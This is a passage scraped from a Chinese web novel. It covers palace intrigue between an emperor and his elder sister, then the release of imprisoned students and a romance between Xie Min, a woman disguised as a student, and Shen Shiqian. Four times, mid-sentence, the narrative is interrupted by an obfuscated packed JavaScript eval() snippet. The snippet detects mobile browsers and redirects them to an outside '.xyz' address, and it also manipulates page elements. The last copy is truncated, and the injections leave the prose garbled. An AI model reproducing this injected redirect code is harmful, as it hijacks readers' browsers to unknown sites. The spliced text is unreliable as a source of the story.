原本太监是要通传,但被明宣帝拦下了,他一进来便被这满屋子的药味熏得皱了皱眉,当即面露愠色,怒道:“太医院那帮人怎么给长姐开了这般难闻的药?熏得朕都快睁不开眼睛了!” 身后的两名小太监立马下跪,正在这时,侍女青禾走过来行礼道:“参加陛下,郡主刚刚醒来。” 明宣帝顿时一噎,轻声道:“起来吧,朕这就去见长姐。” 正值酷暑,但殿里却用不得冰,当他走进内殿时,一股热意扑面而来,见长姐正靠在榻上,面露担忧,自责道:“方才可是朕扰了长姐歇息?” 话刚落音,才注意到软榻旁还站着一位女子,他定睛一看,正是沈炼之女沈归,也是他未来的皇后。 他当即沉了脸。 沈归虽为将军之女,但穿着极为朴素,她垂着眸子,上前一步,在他面前俯身行礼:“臣女拜见陛下,陛下万福。” 言谈举止,端庄自持,让人挑不出一丝错来。 褚宁默不作声,就这么看着皇帝。 鉴于长姐在此,他也不好给她难堪,只道:“劳烦你这些日子照顾长姐了,先下去吧,朕与长姐说说话。” 沈归仍然保持着行礼的姿势回话:“服侍郡主是臣女的福分,臣女这就退下。”说完,缓缓退了出去。 见人走后,明宣帝面容才缓和了些:“长姐宫里若是服侍的人不够,朕便让吕宁再派些宫女太监过来。” 或许是因为生了病的缘故,那张原本冷艳决绝的脸庞在此刻难得温和了许多,但听了这话,语气顿时又冷了三分:“陛下何必这般不悦,沈归迟早要入住中宫。” “长姐执意要朕娶沈炼之女为皇后,难道就不怕沈炼变成第二个刘国公吗?”语气似有质问之意。 褚宁嘴角露出一抹苦笑,道:“陛下莫不是忘了,皇室娶亲当娶民,让陛下娶沈炼之女,就是为了不让他成为第二个刘国公。” 沈炼是父亲的旧部,驰骋疆场多年,如何看不出她的意思,所以才同意让自己的女儿入宫,等收回刘国公手里的兵权,他自是要褪去一身戎装卸甲归田,以此保住沈氏一门。 半掩着的窗户透过一阵凉风,她捂着嘴咳嗽了几声。 明宣帝看着她脸上苍白的模样,心中动容,当即起身将窗子关上,转身之时,他眼眶有些红,道:“朕自幼由长姐一手带大,说起来惭愧,如今已经快记不起父王与母妃的模样了,眼下长姐卧病在床,还要为朕操劳,是朕愧对于长姐,愧对于父王母妃。” 见他似有一些委屈,她在心里叹了口气,语气柔和了许多:“难为你了,这么热的天还要到我这来。” “长姐不必如此见外,这都是应该的,不过太医院那帮人也是无能,这都多久了?长姐身子竟还没痊愈。”说着,他敛起情绪,续道:“今日朝局不稳,朕想问问长姐如何看?” 这话一出,褚宁郡主心中了然,他这是想试探自己。 “我这些日子身子不适,已经许久未出这重华宫的门了,你且说说,那帮人又闹什么事了?” 明宣帝没想到长姐会这般回答,于是便将几个臣子的事情相护弹劾的事一一说了。 褚宁郡主听完便问:“陛下不问问那位起居注?” “先生说过,他们若是拿不出实证,便可不予理会。” 褚宁郡主在心里冷笑一声,道:“难怪他祖上做过史官。” 这话不知是赞扬还是嘲讽。 他续道:“这件事源自于两个月前国子监太学生闹事一案,刑部查账查到了户部头上,长姐也知道,朕根基未稳,若是查得太严,势必会引发朝廷动荡。” “既然陛下已经知晓了那膳夫手臂里的金丝线是善冠上的,心中也早有安排了,又何必来问我呢?” 当初坊间传闻出来后,张次辅便呈上一副存目镜,证实了那金丝线线身上刻了皇室印记,半月前他也已经让吕宁给刑部留下旨意,定掌馔定贪污罪,移送诏狱,由北镇抚司接手。 他想借此机会,整治锦衣卫,清除太后布下的眼线。 明宣帝一愣,随即笑道:“朕年轻,见识胆量远不如长姐,唯恐走错这一步棋,所以才来征求长姐的意思。” 见他主动坦白,褚宁郡主也不想再去想这话中到底有几分真情实意,只道:“这江山之位来之不易,当年珉王费尽心思想杀了我们,如今太后虽退居后宫,但她的母家依旧对我们虎视眈眈,这个时候,你也不必同我闹性子,等刘国公手里的兵权被收回,届时我自会带着青禾回王府住。” 明宣帝顿时就红了眼眶,道:“长姐,我....我从来没有这个意思。” 这次,他自称的是‘我’而不是‘朕’。 褚宁郡主看着他额头出了汗,当即拂了拂手,道:“话就说这了,你且回吧,记住,让你用人做事谨慎些不是让你事事疑心,那魏正良你已经晾了两年之久,也够了,你可别忘了,当初若没有他,你也坐不上这个位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12346208|122943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,魏侍郎是个难得的文武奇才,这次的事便算了。” “是,长姐的嘱咐我定会铭记在心。” “回去吧。” “长姐好生休养,等过几天我再来看长姐。” 人走后,褚宁郡主捂着嘴咳嗽了好几声,青禾连忙走进来,拍了拍她的后背,心疼道:“郡主身子不好,何必强撑着见陛下呢。” “我烧的这把火,当有他来熄灭,不然他如何肯罢休,对了,太后的事查得如何了?” “珉王当初突然暴毙而亡,太后回宫后,原先伺候的人也一个不剩了,如今只能看看徐指挥使那边有没有查到什么。” “徐尤可有来信?” 青禾摇了摇头。 褚宁郡主起身,由她搀扶着往屋子里走,边走边道:“罢了,太后的势力也不是一日两日就能根除的。” “郡主说得是。” * 当天夜里,瓢泼大雨。 原本守在刑部大牢里的二十名锦衣卫将一卷文书交于提牢主事,随后直接将国子监掌馔连同祝司业一齐秘密押送至北镇抚司。 直至翌日卯时,这场雨才停下,然而仅过了半盏茶的功夫,一阵阵挟裹着湿意的凉风肆虐而过,天边的乌云越卷越厚。 沈时骞坐在茶馆里,听着隔壁几桌议论着朝堂之事。 先前收了他一锭银子的店小二端着一壶刚沏好的茶走过来,道:“公子在我们茶馆里坐了近两个时辰了,可是在等人?” 沈时骞收回思绪,微微颔首。 前夜他收到了云长的来信,信上说,这两日便可到京师。 小二抬头望了眼窗外,叹道:“眼看又是一场急雨,公子要等的人,得快些来的才好。” 沈时骞端起茶杯,抿了一小口,道:“这可是产自宜兴的阳羡茶?”。 小二眼睛亮了亮:“正是,公子果然见多识广,这阳羡茶汤清,口感醇厚,自古便享有盛名。” “据我所知,这阳羡茶与杭州龙井、苏州碧螺春一同被纳为贡品。” 小二一噎,嘿嘿笑道:“京师繁华,天下南来北往之人络绎不绝,我们这间茶馆临近三司,那些个达官贵人们喝多了,这茶在这里自然也不算什么上顶尖儿的稀罕物,不过也不常有,先前公子付了十两银子,掌柜的便让小的给您上了这壶好茶。” 十两银子一壶,虽谈不上贵,但也不便宜,不过,能打探到朝廷的消息,也值了。 他指尖摩擦着杯身,淡淡道:“你先前说京师最大的赌坊为那十三名太学生一案开了赌盘,现下结果如何?” 小二环顾了几眼,压低了声音:“昨儿夜里听说了,只有两个人赌赢了,整整两千四百两银子都被那两人拿走了,现下京师人人都在议论这件事,他们怀疑有人再背后操控赌局,不过是谁也无关竟要了,听说今儿卯时初,那十三名太学生被放出来了,那国子监掌馔被定了贪.......哎哎公子!” 他话还没说完,沈时骞猛然起身,撑起伞,冲进了雨里。 58. 杏衣染欢(二) 连日骤雨,八月里的天,徒生出一丝凉意。 街上的行人裹紧了衣袖,步履匆匆,迎面撞见前方十几名圆袍书生相互拥簇着走在雨中,只见他们个个灰头土脸,但却是满脸笑意,这场面看起来虽有些滑稽,但又着实让人生出几分羡慕。 那一份独属少年人的意气风发,在这一刻展现得淋淋尽致。 这群书生,正是先前闹事的十三名太学生。 在刑部大牢里蹲了近两个月之久,饶是铁打的身子也受不了,原以为这件案子会再次开堂审理,没想到今儿他们突然就被放了出来,这感觉就像是当初看见谢旻在掌馔厅摔盘子一样,震惊、不解、猝不及防又激昂澎湃。 众人边走边商量着去找个酒楼,包间上好的厢房梳洗一番,再去大吃大喝一顿。 十几人越说越激动,全然忘记了他们监生的身份。 唯独梁坤还尚存一丝理智,他看向走在前方的谢旻,试探性地一问:“晏南兄,你不会想着回国子监吧?” 众人一顿,目光都看向谢旻。 谢旻回过头,望着他们个个期待的眼神,恍惚一瞬,道:“不回了,今日是该好好庆祝一番。” 眼下时辰还早,之前答应过沈时骞和袁浣山,若是自己出了大牢,会去见他们一面。 “好!”众人欢呼,引得行人驻足观望。 雨丝斜飞,伴随着笑意,渐渐停息。 谢旻唇角微扬,眉眼舒缓,恰如这雨后初霁。 当众人走到醉月楼门口时,忽然被一阵马蹄声所吸引,纷纷回头观望,店小二一眼就认出来那马上之人正是他们酒楼的账房先生,但面前还站着十三位贵客,他只得先招呼着。 杨道见谢旻还盯着那马上的人看,便问:“你认识?” 谢旻并未立即答他,等那马儿跑近了,才点了点头,道:“你们先进去,我待会儿过去找你们。” 话音刚落,那马就停下了,杨道看了那马上之人一眼,没再多说什么,跟在他们面前进去了。 “云长。”谢旻叫了他一声。 云长匆匆停下脚步,往她这看过去,瞳孔微微睁大,两三步来到她面前兴奋道:“谢公子,你....” 谢旻知道他现下定然十分意外,笑道:“是,案子结了,我刚从狱中出来。” 云长松了口气:“还好没误了公子的事,谢天谢地,您出狱了,我家公子也就放心了。”说着,他环顾四周:“咦,怎么不见我家公子?” 他困惑,谢旻反倒更加困惑。 “你家公子来了?” “啊?”云长听她这么问,一时怔住了,不应该啊,按理说,谢小公子出狱,他家公子不可能不来。 醉月楼门口人来人往,实在不是个说话的好地方,她当即将人带到南亭湖畔一处六角亭中,站定后,看着他肩上的包袱,问:“你....是从哪里来?还有,方才你说没有误你家公子的事,这又是何意?” 云长拍了拍脑袋,眼里露出些悔意,想必公子定然不愿以让谢小公子知道那件事。 谢旻见他面露犹豫,当即道:“云长,我知道你心疼你家公子,但有些事,说出来要比藏在心里好得多。” 这一句话瞬间让云长内心的防线坍塌,自夫人过世后,公子什么事都只能藏在心里,如今来了京师读书,结交了袁公子与谢公子两位好友,他也能感受到公子确实整个人轻松了不少,杭州那件事,他知道瞒不了多久,所以,还不如乘此机会告诉谢小公子,让谢公子去劝劝公子,到时候公子说什么做什么,有谢小公子在身旁,自己也放心些。 想到这里,他便将自己回杭州的缘由和自家老爷的事情和盘托出。 话语如悄然而至的细雨一般密密绵绵,最后一个字落音时,云长抬手揩了一把眼泪,哽咽道:“谢公子,我知道这件事情瞒不了多久,但能瞒一时是一时,还望您先不要告诉他。” 从刑部大牢一路走来,谢旻早已湿了身,眼下细雨缠着,又听了云长那番话,原本沉静的眼眸此刻氤氲了一层薄薄的湿意。 她刚要开口应下,身后就传来了一道熟悉的声音。 “谢旻。” 声音沙哑,还带着些急切。 她蓦地回头,隔着一道细细的雨帘,看见一个修长的身影正撑着伞,朝自己疾步走来。 云长惊讶地喊了一声:“公子!” 这一刻,谢旻望着他,忽地灿然一笑,想起了两人第一次见面的情景。 等思绪回笼,人已经到了面前。 他目光灼灼,挪不开半点心神给一旁的云长。 谢旻抬头捂着嘴假意咳嗽了两声,道:“你怎么知道我在这?”说完,又觉得不太对,他应该是来找云长的,于是连忙改口道:“云长刚回.....” “我知道。” 他原本想说‘我是来见你的。’但话到了嘴边,又说不出口了。 气氛顿时有点怪异。 云长视线在两人身上来回切换,一头雾水,终是忍不住了,才小心翼翼道:“那个.....公子,要不先找个地方换洗一下吧,先前您住过的厢房,我一直都留着呢。” 沈时骞这才将目光落到他身上,点了点头。 三人刚穿过大堂,谢旻想起杨道他们还等着自己,便打算趁着沈时骞沐浴更衣之时再去找他们,忽地像是想到了什么,边走边问:“说起来怎么就你一个人来了,袁浣山呢,按照他的性子,肯定也会来。” 厢房在顶楼,上楼的楼梯有些狭窄,云长在前面带路,沈时骞走在她右后方,道:“先前不小心把腿摔坏了,现在正在京郊园里养着。” “腿摔坏了?”谢旻停下脚步,面对着他担忧道:“什么时候的事?” “放心,大夫说了,好好养着便可。” 谢旻盯着他眼睛:“是不是,因为我?” 沈时骞视线落到她被雨水打湿的碎发上,无奈道:“等换身衣服我再同你细说。” 谢旻当即就应了下来,可让她没想到的是,他口中的‘换身衣服’,是让她换的。 她低头嗅了嗅自己的衣袖,好像是有味了,也是,蹲了两个月的大牢,又正值酷暑,人没馊就不错了,难怪他这么急着让自己换洗衣服。 想到这里,她默默地离沈时骞远了些。 云长吩咐小二打来热水后,又从柜子里拿出两套衣服放在一旁,谢旻愣在原地,这里不是客房吗,怎么柜子里还有沈时骞的衣物? 正当她困惑时,沈时骞从中拿了一套递到她面前:“你先换上。” “啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12368419|122943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?.....哦好。”她有些尴尬,支支吾吾又道了声谢,接过衣服后只顾着盯着衣服看。 忽地,头顶传来一声轻笑。 她下意识抬头,却只看到了沈时骞关门离去的背影。 她撇了撇嘴,行吧,笑就笑,谁还没有个窘迫的时候。 然而万万没想到后面还有更让她为窘迫的事,她还没走两步就觉得这客房越看越眼熟,直到看见一处隔间里摆放的那张七弦琴时,记忆瞬间如潮水般涌来,脸颊莫名地泛起了红。 这.....这不是之前和袁浣山他们喝过酒的厢房吗,还有......她闭上眼睛,深呼一口气,强迫自己不要再想下去,可一睁眼,发觉手上这衣服也是他的,顿时这衣服就变成了烫手山芋,换也不是不换也不是。 现在跑还来得及吗? 当然是不能。 沈时骞和云长正守在门外,见四处无人之时,云长才道:“公子,为何要等谢公子换洗完,直接另开一个厢房给您换洗不就妥当了?” 沈时骞抬眸看了他一眼,没说话,良久,眼底露出一丝苍凉,缓缓道:“云长,以后我们就在这里安下了。” “公子....您。”云长顿时僵在原地,不可思议地看着他:“您.....知...知道了?” 他微微颔首,往后一靠,似乎是卸下了千斤重担。 这下轮到云长不知所措了,正当他想着如何安慰时,又听他道:“等会试后,我回一趟杭州,将我娘的牌位接过来。” “公子.....” “以后他们那边的事,也不必再提及。” “公子....”云长又唤了一声,声音哽咽,落下两行泪来。 沈时骞看他这副模样,叹了口气,语气柔和了些:“哭什么,让人看见了岂不是笑话,行了,你去休息吧,连日奔波,也累了。” 云长立马伸手抹去泪水,道:“公子....我不累,您就让我再您身边守着吧。” “云长,我身边就你一个人了,你还要这般来为难我?” “不...我不是。”云长连忙摇头。 “那你就听我的,回去休息。” 云长欲言又止,但又不敢违抗公子的命令,只得道:“那公子若是有需要,便叫我。” “嗯。” 云长走后,整个檐廊便只剩下他一人。 当初从张大人口中得知这件事时,他心底埋藏多年的痛苦、压抑与怨恨顷刻间如同毒蔓一般肆意生长,将整个人紧紧缠绕住,那一瞬,窒息感铺天盖地地席卷而来,无人窥见衣袖下之下,指尖嵌入了血肉里,可是,张大人还在面前,他只能忍着,如同幼时那般,忍着、藏着,不被任何人发现。 回忆到这里,他伸手揉了揉眉心,视线落在面前两扇紧闭的门上,久久不愿挪开。 客房内,谢旻洗完后,抖着手换上了沈时骞给的衣服,刚走了两步,觉得这袖子衣摆有些长了,于是便卷起长了一大截的袖子,用发带将还未擦干的头发挽起来,随后收拾好自己的脏衣服,往门口走去。 她在门口站了会儿,没听见任何动静,以为外面无人,于是伸手推开了门。 瞬间,她呼吸一滞,看见了外面坐着的沈时骞。 两人四目相对。 59. 杏衣染欢(三) 谢旻身型不比男子,这衣服穿在她身上有些松垮,但沈时骞能看出她已然尽力穿得端正,细细品来,倒有一丝慵懒的意味在其中,袖子被她卷至手肘,露出白皙的手臂,手腕上仍然缠着护腕,他视线渐渐往上,或许是刚出浴的缘故,她整个人泛着淡淡的薄红,原本沉静清冽的眉眼在这一刻似是氤氲着一层迷雾,鬓间碎发沾了水,沿着发梢、脸颊缓缓滴落至衣领间。 而那衣服,连带着里衣外衫,都是他的。 他不敢再看了,连忙转过身背对着她,声音沙哑:“你先进去,我去找小二换水。” 谢旻看着他匆匆离去的背影,轻笑了一声,心里莫名生出一丝得意来,似乎每次在这样的氛围里,自乱阵脚的都是自己,而这一次,她终于看见他落荒而逃的样子了。 回到客房,她又把衣服系紧了些,或是因为走了几步,原本用发带挽起的头发已经松散开了,如墨的长发垂在腰间,整个人瞬间柔和了下来。 环顾四周,没找到擦头发的帕子,索性就散着,八月的天,干得也快。 等沈时骞回来,她就去楼下找杨道他们。 半盏茶的功夫后,沈时骞带着小二回来了,手上还多了一条白帕子。 小二换好热水后便关门退了出去,谢旻见状起身对他道:“你先洗着,我这就出去。”说完,就要往门口去,然而还来不及转身,手腕就被人握住,她站在原地愣了愣,忽地,头顶上传来温柔的触感。 须臾,她才反应过来,他这是要替自己擦头发,忙道:“我自己来就好。”说着就抬手准备接过他手中的帕子,轻轻一扯,但没扯动。 沈时骞没松手。 “你......”她抬眸对上他那双瑞凤,道:“你去洗,我自己擦。” 可眼前这人依旧面不改色,双手缓缓揉动起来,像是在擦拭一件珍品,从额前、耳后,再到腰间,哪哪都不放过。 谢旻慢慢红了耳尖。 她一直都知道沈时骞是个极为细致的人,可是没想到他在这种事上也这么认真。 既然他不愿意松手,那便由他去了。 身后是张梨花桌,她不动声色地地往后靠了靠,沈时骞知道她这是妥协了,眉梢染了一丝淡淡的笑意,轻声道:“去椅子上。” “哦。” 坐下的那一刻,谢旻整个人都放松了。 沈时骞看着她,手中的力道越发轻柔起来。 或许是在大牢里待了两个月,日夜不得安睡,又或是刚刚洗去一身疲惫,眼下这手法又太过舒适,不合时宜地,她竟生出一丝困意来,眼眸渐渐迷离,像是一只困极了的猫。 忽地,沈时骞腹部被她脑袋撞了一下,他停了手,等了片刻,才放下帕子,小心翼翼地将椅子上已经熟睡了的人抱起来,这一抱,眼里多了一丝心疼。 才离开三个月,就轻了这么多。 将人抱上床后,静静地坐在床头守了片刻,见她安然入睡,才放下心去隔间沐浴。 然而他刚起身离开,床上的人就睁开了眼睛。 直到耳朵里传来几道水流声,谢旻才慢慢起身,将头发挽起,往隔间瞥了一眼,蹑手蹑脚地出了这间客房。 她并非故意装睡,方才她确实睡着了,只不过当沈时骞将她从椅子上抱起来的时候,她就醒了,索性就装睡,让他放心去沐浴,自己则趁此机会去楼下找杨道他们,既然答应了他们庆祝,至少也要同他们喝一杯酒才是。 下楼的时候太过匆忙,衣服又不合身,差点被衣摆绊倒,幸好及时抓住了扶手才不至于摔下去。 那一刻,她后知后觉,在心里质问自己为何要装睡然后偷偷溜出来,怎么看怎么像是要背着沈时骞去干什么见不得人的事,刚才大大方方与他说一声不就行了,若是他换洗完衣服后发现自己不在,定然会胡思乱想。 想到这里,她被自己气笑了。 杨道那些人并不难找,毕竟他们是十几人一起过来的,又是一群书生相约一起喝酒,这般行径很难不惹人注目。 正巧问路问对了店小二,那店小二刚好就是要给他们送酒,谢旻便跟着一起去了,一推开门,众人齐唰唰朝她看去,举着酒杯的手愣是停在了半空中,好一会儿才反应过来。 坐在外侧的姚简文上下打量了她一眼,道:“你倒是爱干净,自己跑去换洗衣裳,留我们这群泥猴子在这等你。” 语气十分平淡,但这这样的语气能从姚简文口中说出来也实属难得,毕竟他以前看不上谢旻。 谢旻毕恭毕敬地给所有人拱手行了礼,笑道:“不好意思,方才有些急事,我来晚了,当自罚三杯!”说着,她走到酒桌旁给自己连倒了三杯酒,当着众人的面一饮而尽。 饮毕,众人哈哈哈大笑,店小二也跟着笑了起来,将菜上好后,便准备退出去,谢旻拦住他,耳语了几句,小二连连点头,随后关门离去。 等她坐下时,梁坤打趣道:“晏男兄是在哪换了这身好衣裳?看起来,似乎不太合身啊。” 众人也十分好奇,应声附和着询问。 “额....”她一时语塞,须臾,举起酒杯笑道:“一位好友借与我穿的罢了,待会还要还回去。” “切~~”众人面露十失望。 “我还以为是晏南兄哪位不会女红的心上人给做的呢,要不然会撇下我们?” “是啊。” “哈哈哈!” 众人又是一阵哄笑,谢旻只得陪笑着摇了摇头,也不解释了,起身举杯道:“我谢晏南入国子监不过寥寥三月,当初在掌馔厅若不是你们仗义相助,如今也不会安然无恙地站在这里,至此,多谢诸位,当然,我心里也明白,你们助我,更是为了本心,我们一起在刑部大牢里蹲了近两个月,也算得上是生死之交,眼下美酒佳肴,感伤之言,想来也不必多说,心有鸿鹄,自当奋起追之,这些日子的经历与感触只当是手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12380657|122943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这杯酒,一杯酒下肚,以此敬本心,敬你我!” 众人原本就喝了酒,情绪激动,这会儿又听了谢旻这番肺腑之言,当即热血沸腾,纷纷起身,目光坚定,齐声道:“敬本心,敬你我!” 他们个个声音铿锵有力,似乎是要将满腔热血一股脑儿全都挥洒出来。 一饮毕,谢旻脸上慢慢浮现出了两团红晕,她伸手掐了自己一把,才稳稳坐下,梁坤与杨道忙着招呼众人吃菜,姚简文拿着一壶酒,走到她面前,先自己喝了两杯,随后又倒了一杯,道:“我这个人脾气暴躁,容易冲动,我也知道你不会放下心上,所以,其他的话就不多说了。”说着,杯口碰了一下她手中空酒杯的杯身,道:“敬你。” 谢旻知道他是在同自己道歉,但其实无须如此,她从未在意过别人对自己的看法。 她给自己倒了一杯,笑道:“敬你。” 喝了姚简文的酒后,又陆陆续续接连好几个人来跑过来敬酒,她也不好拒了他们的意,只得硬着头皮喝下去,眼看着他们似有不醉不休的势头,当即觉得自己得想个法子离开。 若是醉在这里,定然会出大事。 于是她借着出恭的名义跌跌撞撞走出包厢,拦下先前那个店小二,说了几句就回了厢房。 再次合上门的时候,全然不知不远处的沈时骞正盯着她看。 众人见她回来了,又继续喝,这时,店小二叩门而入,对谢旻道:“这位公子,您姨母来了,正要接您回家去呢。” 谢旻挥手示意自己知道了,随即双手借着酒桌站起来,朝众人作揖道:“各位,来日方长,喝酒以后有的是机会,但是眼下我们刚从刑部大牢里出来,想必我们的家人都等急了,今日这桌酒,到此为止吧,都回家去好好梳洗一番,睡上一觉,改日再喝!” 众人见状,想起了家人,纷纷面露愧意,当即就有好几人告辞回家了,渐渐地,酒桌之上,只剩下姚简文、梁坤与杨道三人。 见谢旻还站着不动,杨道不解道:“晏南兄,你家人不是来接你了,你为何还不走?” 谢旻回过神,伸手拍了拍绯红的脸,笑道:“是了,是了,那我先告辞。” 转身之后的每一步她都像是踩在云端里,当从小二手中接过饭菜时,猛地踉跄了一下,差点连人带盘一起摔了。 小二连忙扶着她,担忧道:“公子,要不要我帮您送上去?” “不用,我能行。”她推开小二的手,固执道:“你且忙你的去。” 店小二嘴上答应了,但还是跟着她一路走到了沈时骞客房门口才放心离去。 谢旻在门口站了会儿,身子有些摇晃,但意识还算清醒,知道自己浑身酒味,偏偏还穿着沈时骞的衣裳,若是他闻到了这酒味肯定要生气,于是放下手中的饭菜,将卷起的衣袖放下来,来回扇动着,试图让酒味散去些。 正当她扇得起劲时,“嘎吱!”一声,面前那道门开了。 60. 杏衣染欢(四) 醉了酒,反应慢了半拍,谢旻愣在原地,盯着面前这张阴沉的脸,好一会儿脸上才慢慢露出一丝心虚的表情,连忙将放在地上的饭菜端起来,冲他笑道:“我知道你还没用午膳,所以........哎!” 话还没说完就被人捏住手腕带了进去,装着饭菜的托盘“哐当!”一下被随意搁置在桌上,她原本脑袋就有些晕乎,突然被抵在门框上,后背有些吃痛,空下的来双手本能想推开他,但使不上劲儿,顿时心里生出一丝恼意,又是八月的天,这恼意变成了热意,她忍不住伸手扯了扯衣领,露出泛着薄红的脖颈,一抬头就对上了沈时骞那双深邃的眼眸。 她一时之间怔住了。 这场景,似曾相识。 沈时骞眸光微动,胸膛微微起伏着,见她领口大开,又想起方才她穿着这身衣服偷溜下去与那十几个男人喝酒的模样,压在心底的醋意如洪水般涌入全身,搭在她腰间的手蓦然收紧,二人又贴近了一分,温热的气息挟裹着酒香铺天盖地地向两人袭来,耳畔响起如春雷般的心跳声,不知是谁的。 只要他再靠近一点点,就可以再次触碰到那处柔软。 然而理智最终战胜了荒唐,他慢慢平复下来,眼底的妒火渐渐熄灭,喘着气松了手,垂下眸子不再看她。 他这副模样在谢旻看来,倒像是受了什么委屈,忽地,她伸手环住了他的腰。 “沈时骞。”她埋在他怀里,呢喃道:“你不是一个人。” 他僵在原地,目光深沉。 “我会陪着你,云长也会陪着你,还有袁浣山,他也会陪着你,这条路,我们一起走。”说着,她抬起头,伸出一只手轻轻地摸了摸他脑袋,像是在安慰一个无家可归的小孩。 沈时骞眼眸颤了颤,只此一瞬,他握住她的手,将人紧紧抱在怀里,一遍一遍地唤着她名字。 他的声音向来偏冷,而如今似是在黑暗中寻到了一丝光亮,一声一声,滚烫缱绻。 谢旻伸手回抱住他,两颗心严丝合缝地贴在一起。 她轻声道:“沈时骞,我告诉你一个秘密。” “你说。” “你先松手,我写给你看。” “好。” 沈时骞依言放开了她,任由她牵着自己往茶案走去。 茶杯是满的,只不过里面的茶水早已经凉了。 只见她伸出指尖,沾着茶水,在桌子上一笔一划写下两个字,如同当年在晁州城客栈写给陈秀才那样般虔诚。 “庭欢?” 只念了一遍,他就猜到了。 “这是.....你的本名。” 谢旻灿然一笑,点了点头。 沈时骞目光柔和,低声道:“很好听。”说完,又呢喃着重复了好几遍,似乎是想将这两个字刻进骨血里。 南亭湖畔的凉风猝不及防地闯了进来,水迹干了一半,谢旻听着他一遍一遍地念着这个可能永远都不会公之于众的名字,眼眸染上了一层湿意,她靠近了些,对上他的目光,一字一句道:“沈时骞,我把这个名字告诉你了。” 像是承诺,又像是誓言。 沈时骞呼吸一滞,目光紧紧地盯住她的眼睛,迫切地想要确认此刻的她是不是清醒着的。 谢旻被他看得脸颊发烫,于是伸手捂住了他双眼,踮起脚尖,碰了碰他的唇角,笑道:“记住了?” 南亭湖水荡漾,如心上人唇边的笑意,风与温柔,定格在这一瞬。 手心忽然被他的睫毛挠了一下,像是挠在她心上,她本能地收回了手,然而下一刻,整个人就被他搂入怀中,只听他沙哑道:“记住了,这辈子都不会忘。” 空气中飘浮着的酒香慢慢随风散去,谢旻是真的困了,靠在他怀里半阖着眼。 沈时骞眼底露出一丝宠溺,再次将她抱至床榻。 谢旻一沾到床意识就开始模糊,但彻底睡过去之前还不忘往里挪了挪,给他腾出一个位置来。 沈时骞看着她这副毫无无防备的模样,心里软得一塌糊涂,不过,此刻他只想守着她。 * 云端之上,落日归暮,留下一片绚丽的晚霞轻染天际,床上的人慢慢睁开了眼睛。 “醒了?” 谢旻看着他的眼神闪过一丝大梦初醒的迷茫和懵懂,沈时骞顿时身子一僵。 她忍不住笑出声来,伸手摸了摸他的脸,语气严肃了些:“我没忘记。” 沈时骞不动声色地松了口气,眼神柔和了许多,将叠好的外衫递给她,道:“穿好。” “哦。”谢旻接过衣服,穿上后才发现不对劲,这衣服怎么刚好合身,像是为她专门做的一样。 “我睡着的时候你拿去改的?” 沈时骞点了点。 谢旻一时语塞,默默转过身理了理衣服,企图遮蔽脸上那抹绯红。 “对了,你何时回京郊园?” “你何时离开,我便何时回。” 谢旻穿鞋子的动作又是一顿,心跳漏了两拍,这人,当真是,招架不住啊。 起身之时,见满室夕阳,她怔了怔,随后笑道:“不急,先陪我看会儿夕阳。” 沈时骞眼眸透亮,轻声回道:“好。” 她眼里有满室霞光,而他,眼里只有一个她。 等二人离开醉月楼时,已直戌时初。 谢旻要回去见见姨母和婉儿,原本两人不顺路,但沈时骞执意要送她到秦宅门口,谢旻知道他性子执拗,也没打算拒绝。 十里长街,车水马龙,灯火簇烈,两人就这样并排走着,看着万家灯火正灼,她心中动容,若是母亲还在,该多好。 正当她忧思之时,衣袖下的手被人紧紧牵住,她连忙侧过头去看他,眼神有些慌乱,低声道:“快放手,若是被人认出来岂不是......” 话还没说完,手被握得更紧了。 “无事,不会被人知晓。” 她在心里叹了口气,任由他牵了一路。 临别之时,谢旻从包袱里拿出一封信递给他,嘱咐道:“这信等你回了京郊园与袁浣山一同打开看。” 沈时骞虽不解,但还是依言收了信,站在原地静静地看着她。 须臾,他俯下身去。 玉兰树下,人影交错,借着月色,漏了一地温柔缱绻。 * 当秦宅后院大门被敲响之时,柳姨娘猛地一惊,这个时辰怎么会有人敲门? 正当她犹豫不决时,门外又传出一道熟悉的声音:“姨母,是我。” 这声音是,旻儿! 她连忙跑过去开了门,见来人当真是旻儿,当即就落下两行泪来。 谢旻伸手抱住姨母,红了眼眶,哽咽道:“姨母,对不起,我让您担心了。” 柳姨娘抚着她的后背,边哭边摇头:“回来就好,回来就好。” 正在练字的秦婉和昏昏欲睡的彩蝶听见院外动静连忙走了出来,看清来人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 